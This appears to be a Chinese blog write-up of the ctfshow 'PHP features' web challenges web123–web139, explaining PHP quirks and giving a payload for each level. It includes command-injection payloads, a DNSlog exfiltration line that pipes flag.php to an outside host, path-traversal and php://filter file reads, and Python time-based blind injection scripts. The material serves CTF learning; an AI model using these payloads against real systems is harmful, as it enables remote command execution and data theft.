ctfshow web入门 php特性 web123--web139

web123

必须传CTF_SHOW,CTF_SHOW.COM 不能有fl0g
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了。

php 复制代码
POST:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

但是和这个$a=$_SERVER['argv']; 没啥关系

不过为了后面更好做题我们还是研究一下
添加链接描述

他这里对这个就讲的特别详细了,我抄一下

php 复制代码
argv是数组,argc是数字。
可通过var_dump($_SERVER);和var_dump($argv);语句查看

argv有独立GET之外获取参数的作用。比如传入?aaa+bbb   argv(数组)两个元素

是aaa和bbb。argc是数组的长度。

php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。
php 复制代码
web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER['argv']才会有效果,题目中应该是On

这时候的$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
//$_SERVER['argv'][0]就是a[0]

$argv,$argc在web模式下不适用
php 复制代码
cli模式(命令行)下

第一个参数总是当前【脚本】的文件名,因此 $argv[0] 就是脚本文件名。

当把php作为脚本,使用这个命令执行:php script.php arg1 arg2 arg3

以上示例的输出类似于:
array(4) {
  [0]=>
  string(10) "script.php"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}

然后现在是网页模式

php 复制代码
这时候的$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
//$_SERVER['argv'][0]就是a[0]

利用$_SERVER['argv'][0] 就可以绕过对**isset($fl0g)**的判断,用+代表空格。

构造payload

php 复制代码
get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
php 复制代码
get:
?a=1=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) 

这道题终于解决了

web125

就用argv的方法来写

php 复制代码
get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

web126

如上题

web127

extract:从数组中将变量导入到当前的符号表
还有空格可以用

php 复制代码
?ctf show=ilove36d

web128

php 复制代码
gettext():_()是gettext()的拓展函数 在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数(因为过滤了字母所以我们就用下划线,让其输出)
get_defined_vars:返回由所有已定义变量所组成的数组,因为包含了flag.php,所以flag.php里面肯定有$flag储存了flag。
php 复制代码
?f1=_&f2=get_defined_vars

web129

php 复制代码
stripos:查找字符串首次出现的位置

readfile: 输出文件

题目要求我们构造的f中有ctfshow,且不在最开头。则执行readfile函数,同时还要不影响flag.php的读取

php 复制代码
GET传参:

//查看源码获得flag
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
?f=./ctfshow/../flag.php

//直接回显base64,然后base64解密
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

web130

stripos()遇到数组会返回null,null!=false,所以可以绕过stripos函数

然后数组可以绕过preg_match

php 复制代码
POST:
f[]=1
php 复制代码
.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复。

所以在ctfshow前面必须有至少一个字符,才会返回true
所以直接构造playload:f=ctfshow,即可绕过preg_match函数

同时,if(0 === flase)返回值为false0不是强等于false的,所以也不满足if(stripos($f, 'ctfshow') === FALSE)
POST:
f=ctfshow

还可以目录溢出

php 复制代码
import requests
url="xxxxxxxxxxxxxxx"
data={
    'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web131

会进行字符串转换我们之前的办法用不了了

用脚本使得目录溢出

php 复制代码
import requests
url="xxxxxxxxxxxxxxx"
data={
    'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web132

扫描后台,我们进admin/index.php看看
mt_rand():使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快

生成1-877的随机数

php 复制代码
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
由于&&比||优先级高所以可以看成是
if(($code === mt_rand(1,0x36D) && $password === $flag )|| $username ==="admin")
所以满足username=admin然后code=admin就有flag

?username=admin&code=admin&password=1

web133

php 复制代码
$F = @$_GET['F'](防止报错)
substr($F,0,6)(截取其中的六个字符)
php 复制代码
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解
就是说执行的是eval('$F`;+sleep 3`');

然后我们就可以进行类似的构造

php 复制代码
?F=`$F` ;ls /
?F=`$F` ;tac /f*

但是没有回显

php 复制代码
?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd '[a-z]'/'[0-9]'`.dnslog得到的网址 -c 1

DNSlog

先点击左边的获得域名,然后传参之后再点击右边的刷新结果
flagctfshowcf2216ae8dbe496da637709e3218946c.he20y5.dnslog.cn
8-4-4-4-12的flag格式

ctfshow{cf2216ae-8dbe-496d-a637-709e3218946c}

web134

php 复制代码
parse_str是对get请求进行的内容解析成变量。例如传递?a=1,执行后就是$a=1。
extract 其功能是将关联数组中的键名转换为变量名,并将键值赋给这些变量。

对_POST进行extract,那么构造

php 复制代码
?_POST[key1]=36d&_POST[key2]=36d
//刚好   key1=36d&key2=36d

查看源代码

web135

web133一样的东西但是我们的grep被过滤了,所以得思考一下怎么才行,但是反斜杠引号什么的没过滤,就可以用来绕过

但是不知道为什么web133的相关操作我都用不了了

只能用其他方法了比如写文件

php 复制代码
?F=`$F` ;cp flag.php x.txt
?F=`$F` ;nl flag.php>x.txt
?F=`$F` ;mv flag.php x.txt

然后访问x.txt就可以拿到flag

拼接一下ctfshow{25b598bc-5a5b-4baf-a23e-2c4e9dea9d8f}

web136

exec相当于system

直接ls查看目录,发现一片空白,这时候就需要学新东西了

php 复制代码
tee命令
主要用于从标准输入读取数据,并将其内容同时输出到标准输出(屏幕)和一个或多个文件中。简单来说,就像水管中的 T 形接头一样,数据流经过这里时,既可以继续流向下游,也可以分流保存到指定的文件中。
例子
echo "This is a test line." | tee file1.txt file2.txt
不仅会输出而且还会保存到file1.txt和 file2.txt
php 复制代码
?c=ls /|tee 3
然后访问3,下载文件记事本打开

查看flag

php 复制代码
?c=cat /f149_15_h3r3|tee 6

web 137

获得flag要调用getflag,也就是调用类里面的成员

php 复制代码
->用于动态语境处理某个类的某个实例

::可以调用一个静态的、不依赖于其他初始化的类方法

必须传参ctfshow

php 复制代码
POST:
ctfshow=ctfshow::getflag

查看源代码

web138


调用类中的成员但是不能有 : 那么刚才的方法就不能用了,但是我们的

php 复制代码
call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。这就避免了:的出现。

传参

php 复制代码
POST:
ctfshow[0]=ctfshow&ctfshow[1]=getflag

查看源码

web139

python 复制代码
import requests
import time
import string

str = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~"    # 构建一个包含所有字母和数字以及部分符号的字符串,符号可以自己加
result = ""          # 初始化一个空字符串,用于保存结果

#获取多少行
for i in range(1, 99):
    key = 0   #用于控制内层循环(j)的结束

    #不break的情况下,一行最多几个字符
    for j in range(1, 99):
        if key == 1:
            break
        for n in str:       #n就是一个一个的返回值
            payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)   #{n}是占位符
            #print(payload)
            url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload
            try:
                requests.get(url, timeout=(2.5, 2.5))   #设置超时时间为 2.5 秒,包括连接超时和读取超时,超时就是之前sleep 3了。

            # 如果请求发生异常,表示条件满足,将当前字符 n 添加到结果字符串中,并结束当前内层循环
            except:
                result = result + n
                print(result)
                break
            if n == '~':    #str的最后一位,"~"不常出现,用作结尾
                key = 1
    # 在每次获取一个字符后,将一个空格添加到结果字符串中,用于分隔结果的不同位置
    result += " "

f149_15_h3r3

python 复制代码
import requests
import time
import string

str = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号,这里就不加了
result = ""
for j in range(1, 99):
    for n in str:
        payload = "if [ `cat /f149_15_h3r3 |cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)
        # print(payload)
        url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload
        try:
            requests.get(url, timeout=(2.5, 2.5))
        except:
            result = result + n
            print(result)
            break
        if n=="~":
            result = result + "花括号"

继续跑flag

相关推荐
【云轩】7 分钟前
《比特城的七重结界:从数据洪流到量子盾牌的终极守护》
网络·安全·web安全
浩浩测试一下4 小时前
内网渗透(杂项集合) --- 中的多协议与漏洞利用技术(杂项知识点 重点) 持续更新
安全·web安全·网络安全·系统安全·密码学·安全架构
zm5 小时前
C高级,终端操作
服务器·postgresql·php
fanjinhong_852114 小时前
网络安全防御核心原则与实践指南
网络·安全·web安全
chuangfumao14 小时前
专家解读|《网络安全法》再次征求意见,增强网络立法协同
网络·安全·web安全
写代码的小王吧16 小时前
【安全】Java幂等性校验解决重复点击(6种实现方式)
java·linux·开发语言·安全·web安全·网络安全·音视频
tjsoft17 小时前
实操日志之Windows Server2008R2 IIS7 配置Php7.4.3
windows·iis·php·2008·7.4.3
审计侠18 小时前
Apache Struts2 漏洞(CVE-2017-5638)技术分析
java·struts·web安全·apache·安全性测试
斯密码赛我是美女19 小时前
文件上传漏洞
安全·web安全